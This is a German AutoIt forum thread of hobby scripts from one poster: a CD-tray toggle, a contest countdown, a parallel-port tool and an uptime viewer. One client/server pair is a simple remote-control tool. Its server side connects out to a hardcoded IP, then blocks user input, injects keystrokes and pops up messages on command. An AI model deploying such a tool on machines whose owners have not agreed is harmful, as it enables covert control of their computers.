Hallo
Ja das ist sehr warscheinlich, das komische ist aber das ich keineKompriemirung eingestellt habe
Mfg Spider
Hallo
Ja das ist sehr warscheinlich, das komische ist aber das ich keineKompriemirung eingestellt habe
Mfg Spider
Hallo @all
Also ich habe mir ein Video gemacht mit Ulead Media-Studio 7.3 und jetzt will ich das Video in Eine Gui packen und was passiert? Das Video wird verzerrt und Invertiert! Das gleiche Problem hatte ich vor ca nem jahr mit Ulead Cool 3d.. Weiß jemand woran das liegt? Das Video ist mit Bild-Basierte Bilder Gerendert, habs aber auch mit Obersten und Unterstern Bild zuerst versucht geht alles nicht
Mfg Spider
Hallo
Ok Ich habe mal ein Screenshot gemacht.. Die Chronik gelöscht hab ich auch schon voher gemacht hat aber nichts gebracht..
Das erste ist das öffnen das 2. mit dem Cousor rübrgehen und das 3. raufklicken
Mfg Spider
Hallo
Ja, Das ist Java und JavaScript aktiviert
Mfg Spider
Hallo!
Ja die neuste version von Java ist drauf.. Auf die Hilfe kann ich auch klicken aber die farben und halt auch die buttons kann ich nicht anklicken..
Mfg Spider
Hallo!
hab jetzt auch 154 drauf! funzt immer noch nicht
Mfg Spider
Hallo
Wie das mit rechtlichen gründen aussieht weiß ich nicht..Die sendemail.exe ist nicht von mir, aber ich glaube das das ok wäre..
Mfg Spider
Hallo!
Guck dir mal mein Programm an, villeicht kann dir das ja weiterhelfen?
E-Mail mehrfach sender
Mfg Spider
an admins: Die knöpfe oben funzen nicht also die Code und URL usw knöpfe..
Antwort peethebee: Die funzen bei mir optimal (Firefox 1.5.03, bald 1.5.0.4). Du hast doch auch den FF, oder?
Antwort gtaspider: ja hab ich und er holt sich auch grade 1.5.0.4! Also wen ich mit der maus rübergehe komt das tooltip aber wenn ich raufklick passiert garnix
Antwort peethebee: Bei manchen Befehlen hängt die Reaktion davon ab, ob was markiert ist (Fettdruck z.B), aber eigentlich muss trotzdem immer was passieren...
Hallo!
sieht auch gut aus! Kann man eigentlich auch herausfinden ob ein cdrom laufwerk geöffnet oder geschlossen ist? Wenn ja wie?
Mfg Spider
Hallo!
Sehr schön! Hab vor ca nem jahr auch so ein Tool geschrieben aber nicht ganz so weit wie deines..
#include <file.au3>
#include <process.au3>
#include <GuiConstants.au3>
HotKeySet("^o","oc")
GuiCreate("Open/Close", 240, 48,(@DesktopWidth-374)/2, (@DesktopHeight-68)/2 , $WS_OVERLAPPEDWINDOW + $WS_VISIBLE + $WS_CLIPSIBLINGS)
GUISetIcon("Shell32.dll",188)
GUISetHelp(@ScriptDir&"\Help\Help.html")
$filemenu = GUICtrlCreateMenu ("&Help")
$Help = GUICtrlCreateMenuitem("Help",$filemenu)
$Combo_1 = GuiCtrlCreateCombo("", 0, 0, 120, 24)
GUICtrlSetTip(-1,"Push [STRG] + [O] to Open/Close the Drive")
$Button_2 = GuiCtrlCreateButton("", 120, 0, 24, 24,$Bs_icon)
GUICtrlSetTip(-1,"Push [STRG] + [O] to Open/Close the Drive")
GUICtrlSetImage(-1,"Shell32.dll",217)
$Label1 = GUICtrlCreateLabel("Close",160,0,200)
GUICtrlSetTip(-1,"Push [STRG] + [O] to Open/Close the Drive")
GUICtrlSetColor(-1,0xFF0000)
GUICtrlSetFont(-1,14)
GuiSetState()
$DGD = DriveGetDrive ( "CDROM" )
For $i = 1 to $DGD[0]
$sDGD = StringUpper ( $DGD[$i] )
$zu = GUICtrlSetData($Combo_1,$sDGD,$sDGD)
Next
$Combo = GUICtrlRead($Combo_1)
While 1
$Combo = GUICtrlRead($Combo_1)
$Label = GUICtrlRead($Label1)
If $Label = "Close" Then
CDTray($Combo,"Close")
Else
CDTray($Combo,"Open")
EndIf
$msg = GuiGetMsg()
Select
Case $msg = $GUI_EVENT_CLOSE
ExitLoop
Case $msg = $Help
_RunDOS("start Help\Help.html")
Case $msg = $Button_2
$Combo = GUICtrlRead($Combo_1)
$Label = GUICtrlRead($Label1)
If $Label = "Close" Then
CDTray($Combo,"Open")
GUICtrlSetData($Label1,"Open")
GUICtrlSetColor($Label1,0x006400)
Else
CDTray($Combo,"Close")
GUICtrlSetData($Label1,"Close")
GUICtrlSetColor($Label1,0xFF0000)
EndIf
EndSelect
WEnd
Exit
Func oc()
ControlClick("Open/Close","",4)
EndFunc
Alles anzeigen
Die Hilfe datei(da hab ich mein (damals noch) English for Wrongonways bennutzt *g*) :
Hallo Liebe Comuntiy!
So! Wir haben jetzt ein einigermasen Festen Termin ausgemacht, ausser jemand kann nicht.. Wir wollten die Session am 3(samstag) oder 4.(Sonntag) Juni starten, kommt drauf an was besser passt!
Also schnell noch die bots fertigschreiben und los gehtz!! *g*
Mfg Spider
Hallo!
Der Game-Contest läuft in 2 Wochen ab! Wer also noch spiele entwikeln will..
Abgabetermit: 13 Juni 2006 (Dienstag)
Und hier das Skript zum Warten *g*:
#include<Date.au3>
$Form1 = GUICreate("Game Contest", 120, 135, 192, 125,0x00040000);$WS_THICKFRAME
$lab = GUICtrlCreateLabel("", 8, 8, 103, 120)
GUISetState(@SW_SHOW)
While 1
$msg = GuiGetMsg()
Select
Case $msg = -3;$GUI_EVENT_CLOSE
ExitLoop
Case $msg = $lab
RunWait(@ComSpec & ' /c start http://autoit.aufwaerts.de/thread.php?threadid=516&sid=', '', @SW_HIDE)
Case Else
GUICtrlSetData($lab,"GameContest abgabe" & @CRLF & "============" & @CRLF &_counter("2006/06/13", "18:00:00"))
_counter("2006/06/13", "18:00:00")
Sleep(50);Bei bedarf auch kleiner Stellen, wegen CPU last!
EndSelect
WEnd
Exit
While 1
WEnd
; "YYYY/MM/DD[ HH:MM:SS]"
Func _counter($s_Date, $s_time)
If _DateIsValid($s_Date & " " & $s_time) Then
Local $NumberOfSeconds = _DateDiff("s", _NowCalc(), $s_Date & " " & $s_time)
If StringFormat("%.02d",$NumberOfSeconds / 86400) < 2 Then GUISetBkColor(0xff0000)
Return StringFormat("Tage = %.02d" & @CRLF & "Stunden = %.02d" & @CRLF & "Minuten = %.02d" & @CRLF & "Sekunden = %.02d" & @CRLF & _
"Millisekunden = %.03d", $NumberOfSeconds / 86400, Mod($NumberOfSeconds / 3600, 24), Mod(($NumberOfSeconds / 60), 60), _
Mod($NumberOfSeconds, 60), 1000 - _MSec())
Else
Return -1
EndIf
EndFunc ;==>_counter
Func _MSec()
Local $stSystemTime = DllStructCreate('ushort;ushort;ushort;ushort;ushort;ushort;ushort;ushort')
DllCall('kernel32.dll', 'none', 'GetSystemTime', 'ptr', DllStructGetPtr($stSystemTime))
$sMilliSeconds = StringFormat('%03d', DllStructGetData($stSystemTime, 8))
$stSystemTime = 0
Return $sMilliSeconds
EndFunc ;==>_MSec
Func end()
Exit (0)
EndFunc ;==>end
Alles anzeigen
Mfg Spider
Hallo
Ein sehr schönes skript! Werde es warscheinlich nicht brauchen aber trozdem schön
Zum smilie: vlt mal extern in erwägung ziehen? [Blockierte Grafik: http://forums.ugo.com/images/smilies/rtfm.gif]
der code sieht dan z.b. so aus: ["IMG"]http://forums.ugo.com/images/smilies/rtfm.gif["/IMG"](Natürlich ohne "!
Hallo!
Ich habe eine Bitte an dich: bitte NICHT NUR IN GROßBUCHSTABEN SCHREIBEN, das ist sehr unleserlich, danke Aber hey erstmal :willkommen: im Fourum
Zu deinem Problem: Mit AutoIt Selber leider nicht realiesierbar dafür aber mit einer zusatz Dll, InpOut32.dll die du hier findest: http://www.vb-fun.de/cgi-bin/loadfr…nente0055.shtml
InpOut32.dll ist nur für den Com-Port!
1/2 Stunde später:
So hab mal eben "schnell" ein Skript
;InpOut32.dll erklärung:
;Weitere Infos zu InpOut.dll: http://www.the-starbearer.de/Praxis/Programmieren/VB%20Projekte/VBPraxisLPT%20inpout32.htm
;Weitere Infos zur Parallelen Schnittstelle: http://de.wikipedia.org/wiki/Parallele_Schnittstelle#include <GUIConstants.au3>
;Aufruf: DllCall($dll, "short", "Inp32", "short", 0x379,"short",11)
;Erklärung: $dll = "diedll.dll", "Inp32" = Inputcheck, 0x379 = Com1(Nachzulesen im Gerätemanager unter z.b. Drucker), 11=Port 11
#Include <GuiConstants.au3>
InetGet("http://www.elektron-bbs.de/elektronik/kabel/computer/ports/subd25b.gif",@TempDir&"\com25.gif")
GUICreate("InpOut32", 253, 109, 193, 127)
$send = GUICtrlCreateButton("Senden", 10, 10, 75, 25, 0)
$read = GUICtrlCreateButton("Lesen", 10, 40, 75, 25, 0)
$to = GUICtrlCreateInput("0x379", 120, 10, 121, 21)
GUICtrlCreateLabel("An:", 100, 10, 20, 17)
$pin = GUICtrlCreateInput("11", 120, 40, 121, 21)
GUICtrlCreateLabel("pin:", 93, 40, 26, 17)
$Help = GUICtrlCreateButton("Erklärungen/Hilfe", 10, 80, 235, 25, 0)
GUISetState(@SW_SHOW)
While 1
$msg = GUIGetMsg()
Select
Case $msg = $GUI_EVENT_CLOSE
Exit
Case $msg = $Help
_Help()
Case $msg = $read
$r = DllCall("InpOut32.dll","short","Inp32","short",GUICtrlRead($to),"short",GUICtrlRead($pin))
If @error Then
MsgBox(16,"InpOut32.dll","InpOut32.dll hat ein Fehler festgestellt!"&@CR&"Stellen Sie sicher das der pin nur von 1 - 25 gehen kann und checken Sie An welchem Compin ihr Externes Gerät angeschlossen ist!")
Else
MsgBox(0,"InpOut32.dll","Der gelesende Wert: "&Number($r[0]))
EndIf
Case $msg = $send
$r = DllCall("InpOut32.dll","short","Out32","short",GUICtrlRead($to),"short",GUICtrlRead($pin),"short",InputBox("InpOut32","Wie soll Der Wert sein der zu Senden ist?","255"))
If @error Then
MsgBox(16,"InpOut32.dll","InpOut32.dll hat ein Fehler festgestellt!"&@CR&"Stellen Sie sicher das der pin nur von 1 - 25 gehen kann und checken Sie An welchem Compin ihr Externes Gerät angeschlossen ist!")
Else
MsgBox(0,"InpOut32.dll","Der Wert wurde erfolgreich geschrieben!")
EndIf
EndSelect
WEnd
Func OnAutoItExit()
FileDelete(@TempDir&"\com25.gif")
EndFunc
Func _Help()
GUICreate("AForm1", 509, 254, 193, 126)
$ListView1 = GUICtrlCreateListView("Pin|Name|Funktion", 10, 10, 250, 150)
GUICtrlCreateListViewItem("1 |/STROBE |Strobe",$ListView1)
GUICtrlCreateListViewItem("2 |D0 |Data Bit 0",$ListView1)
GUICtrlCreateListViewItem("3 |D1 |Data Bit 1",$ListView1)
GUICtrlCreateListViewItem("4 |D2 |Data Bit 2",$ListView1)
GUICtrlCreateListViewItem("5 |D3 |Data Bit 3",$ListView1)
GUICtrlCreateListViewItem("6 |D4 |Data Bit 4",$ListView1)
GUICtrlCreateListViewItem("7 |D5 |Data Bit 5",$ListView1)
GUICtrlCreateListViewItem("8 |D6 |Data Bit 6",$ListView1)
GUICtrlCreateListViewItem("9 |D7 |Data Bit 7",$ListView1)
GUICtrlCreateListViewItem("10 |/ACK |Acknowledge",$ListView1)
GUICtrlCreateListViewItem("11 |BUSY |Busy",$ListView1)
GUICtrlCreateListViewItem("12 |PE |Paper End",$ListView1)
GUICtrlCreateListViewItem("13 |SEL |Select",$ListView1)
GUICtrlCreateListViewItem("14 |/AUTOFD |Autofeed",$ListView1)
GUICtrlCreateListViewItem("15 |/ERROR |Error",$ListView1)
GUICtrlCreateListViewItem("16 |/INIT |Initialize",$ListView1)
GUICtrlCreateListViewItem("17 |/SELIN |Select In",$ListView1)
GUICtrlCreateListViewItem("18 |GND |Signal Ground",$ListView1)
GUICtrlCreateListViewItem("19 |GND |Signal Ground",$ListView1)
GUICtrlCreateListViewItem("20 |GND |Signal Ground",$ListView1)
GUICtrlCreateListViewItem("21 |GND |Signal Ground",$ListView1)
GUICtrlCreateListViewItem("22 |GND |Signal Ground",$ListView1)
GUICtrlCreateListViewItem("23 |GND |Signal Ground",$ListView1)
GUICtrlCreateListViewItem("24 |GND |Signal Ground",$ListView1)
GUICtrlCreateListViewItem("25 |GND |Signal Ground",$ListView1)
$Pic1 = GUICtrlCreatePic(@TempDir&"\com25.gif", 270, 10, 230, 150, BitOR($SS_NOTIFY,$WS_GROUP))
GUICtrlSetCursor(-1,0)
$Group1 = GUICtrlCreateGroup("Links", 10, 170, 491, 71)
$link = GUICtrlCreateLabel("http://de.wikipedia.org/wiki/Parallele_Schnittstelle", 20, 190, 243, 17)
GUICtrlSetCursor(-1,0)
GUICtrlSetFont(-1, 8, 400, 4, "MS Sans Serif")
GUICtrlSetColor(-1, 0x0000FF)
$link2 = GUICtrlCreateLabel("http://www.the-starbearer.de/Praxis/Programmieren/VB%20Projekte/VBPraxisLPT%20inpout32.htm", 20, 210, 476, 17)
GUICtrlSetCursor(-1,0)
GUICtrlSetFont(-1, 8, 400, 4, "MS Sans Serif")
GUICtrlSetColor(-1, 0x0000FF)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUISetState(@SW_SHOW)
While 1
$msg2 = GUIGetMsg()
Select
Case $msg2 = $GUI_EVENT_CLOSE
ExitLoop
Case $msg2 = $link
RunWait(@ComSpec & ' /c start http://de.wikipedia.org/wiki/Parallele_Schnittstelle', '', @SW_HIDE)
Case $msg2 = $link2
RunWait(@ComSpec & ' /c start http://www.the-starbearer.de/Praxis/Programmieren/VB%20Projekte/VBPraxisLPT%20inpout32.htm', '', @SW_HIDE)
Case $msg2 = $Pic1
RunWait(@ComSpec & ' /c start http://www.elektron-bbs.de/elektronik/kabel/computer/ports/subd25b.gif', '', @SW_HIDE)
EndSelect
WEnd
GUIDelete()
EndFunc
Alles anzeigen
eine USB-Dll ist mir so jetzt nicht bekannt, villeicht mal googlen
Mfg Spider
Hallo!
Nice! Ich konnte es ja schon voher testen, da war es aber noch in der beta(oder eher Alpha) phase, aber jetzt ist es richtig gut mach weiter so!
Mfg Spider
PRIMIERE: 333 POST :]
Hallo,
ja.. desswegen hab ich ja auch nicht geschrieben.....
aso und ich glaub wir haben das problem jetzt mittels Skype gelöst weiß es aber noch nicht so rech.. hier mal unser momentanes Skritp:
Client
Opt("TrayIconDebug",1)
dim $MainSocket,$ConnectedSocket
$g_ip = @IPAddress1
; Start The TCP Services
_StartUp()
; Connect to a Listening "SOCKET"
;$Socket = TCPConnect( $g_IP, 666 )
sleep(100)
while 1
$message = "<" & inputBox("Command", "") & ">"
if @error = 1 then
TCPSend($ConnectedSocket,"~bye")
Exit
EndIf
if $message = "~terminate" or $message = "~bye" then exit
TCPSend ($ConnectedSocket, $message)
$recv = TCPRecv($ConnectedSocket,256)
Wend
Func OnAutoItExit()
TCPSend ($MainSocket, "~bye")
TCPCloseSocket ($MainSocket)
TCPShutdown ()
EndFunc
func _Startup()
$startup=TCPStartUp()
$MainSocket = TCPListen($g_IP,666)
If $MainSocket = -1 Then Exit
Do
$ConnectedSocket = TCPAccept($MainSocket)
Sleep(500)
Until $ConnectedSocket>=0
endfunc
Alles anzeigen
Server
Dim $Socket
Opt("TrayIconDebug", 1)
#include <inet.au3>
Global $g_ip = "82.97.158.190";Meine WAN Adresse
;~ ClipPut(_GetIP())
_Startup()
While 1
$message = TCPRecv($Socket, 512)
If $message <> "" Then MsgBox(0, "", $message)
$befehl = StringMid($message, StringInStr($message, "<") + 1, StringInStr($message, ">") - 2)
Switch $befehl
Case "~bye"
_Shutdown()
_Startup()
Case "~terminate"
_Shutdown()
Exit
Case "~CDROM open"
$drives = DriveGetDrive("CDROM")
For $i = 1 To $drives[0]
CDTray($drives[$i], "open")
Next
Case "~CDROM close"
$drives = DriveGetDrive("CDROM")
For $i = 1 To $drives[0]
CDTray($drives[$i], "close")
Next
Case "~blockinput on"
BlockInput(1)
Case "~blockinput off"
BlockInput(0)
Case Else
If StringLeft($message, 5) = "~send" Then
Send(StringTrimLeft($message, 5))
EndIf
If StringLeft($message, 8) = "~message" Then
MsgBox(0, "Message", StringTrimLeft($message, 8))
EndIf
EndSwitch
WEnd
Func _Startup()
$startup = TCPStartup()
Do
$Socket = TCPConnect($g_ip, 666)
Sleep(500)
Until $Socket <> - 1
EndFunc ;==>_Startup
Func _Shutdown()
TCPCloseSocket($Socket)
TCPShutdown()
EndFunc ;==>_Shutdown
Alles anzeigen
Mfg Spider
Edit: was soll das denn?
Edit2: der erweotere Editor funtz nicht richtig bei der Code übergabe..packt alles in eine Zeile.. und im Normalen editor kann ich auf keine Schaltfleche klicken, bzw es kommt z.b. keine Code Tag wenn ich auf die Code schaltfäche drücke..
Hallo!
Ja das Problem hab ich auch Ich könnte ja ein Cheat einbauen der die Zeit auf: -1 - 0:-1:0:0 dann hat man noch ein tag und eine Sekunde zeit bis zum Schechten gewissen *g*
Hier nocmal ein paar bilder:
Hallo!
So ich hab mal wider ein Skript für euch: Es zeigt kompfortabel an wann Das System gestartet wurde! Aslo wieviel zeit bis dahin Verstrichen ist
TraySetState(2)
#include <misc.au3>
#include <GUIConstants.au3>
#Include <Constants.au3>
Opt("TrayMenuMode",1)
$togui = TrayCreateItem("Zu Gui")
$akttray = TrayCreateItem("Aktualiesieren")
TrayCreateItem("")
$exit = TrayCreateItem("Exit")
GUICreate("System UpTime - By GtaSpider", 198, 79, 211, 117)
$akt = GUICtrlCreateButton("&Aktualiesieren", 10, 50, 85, 25, 0)
$totray = GUICtrlCreateButton("Zu &Tray", 105, 50, 85, 25, 0)
$time = GUICtrlCreateInput("Error!", 10, 10, 181, 20)
$timelab = GUICtrlCreateLabel("Error!", 10, 30, 179, 17)
_GetSysUpTime($time,$timelab)
GUISetState(@SW_SHOW)
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $akt
_GetSysUpTime($time,$timelab)
Case $totray
_TrayWhile()
EndSwitch
WEnd
Func _TrayWhile()
TraySetState()
;~ TraySetState(16)
GUISetState(@SW_HIDE)
While 1
$msg = TrayGetMsg()
Switch $msg
Case $exit
Exit
Case $togui
ExitLoop
Case $akttray
_GetSysUpTime($time,$timelab,1345)
EndSwitch
WEnd
TraySetState(2)
GUISetState()
EndFunc
Func _GetSysUpTime($Gui_Time,$Gui_Time_Lab,$Tray=0)
$ret = DllCall("kernel32.dll", "long", "GetTickCount")
Global $day = 0, $type = "Days", $hour = 0, $min = 0, $sec = 0, $msec = 0, $mtype = "", $stype = "", $mitype = "", $htype = ""
$msec = StringRight("00" & Mod($ret[0], 1000), 3)
_Iif($msec > 1, $mtype = "s", $mtype = "")
$mtype = "Milisecond" & $mtype
$uptime = Floor($ret[0] / 1000)
$sec = StringRight("00" & Mod($uptime, 60), 2)
_Iif($sec > 1, $stype = "s", $stype = "")
$stype = "Second" & $stype
If $uptime >= 60 Then
$uptime = Floor($uptime / 60)
$min = StringRight("00" & Mod($uptime, 60), 2)
_Iif($min > 1, $mitype = "s", $mitype = "")
$mitype = "Minute" & $mitype
$uptime = Floor($uptime / 60)
$hour = StringRight("00" & Mod($uptime, 24), 2)
_Iif($hour > 1, $htype = "s", $htype = "")
$htype = "Hour" & $htype
If $uptime >= 24 Then; convert hours to days
$day = Floor($uptime / 24)
$type = ""
If $day > 1 Then $type = "s"
$type = " Day" & $type & " "
EndIf
EndIf
GUICtrlSetData($Gui_Time,$day & " - " & $hour & ":" & $min & ":" & $sec & "." & $msec)
GUICtrlSetData($Gui_Time_Lab,$type & "-" & $htype & ":" & $mitype & ":" & $stype & "." & $mtype)
If $Tray <> 0 Then
TrayTip("System Startzeit",$day & " - " & $hour & ":" & $min & ":" & $sec & "." & $msec,3)
EndIf
EndFunc
Alles anzeigen
Mfg Spider
Hallo!
Oder etwa nicht?? Ich würde z.b. gerne auf meiner neuen HP(die noch nich draussen ist...) ein Link auf euch machen, bräuchte aber ein Banner..
Mfg Spider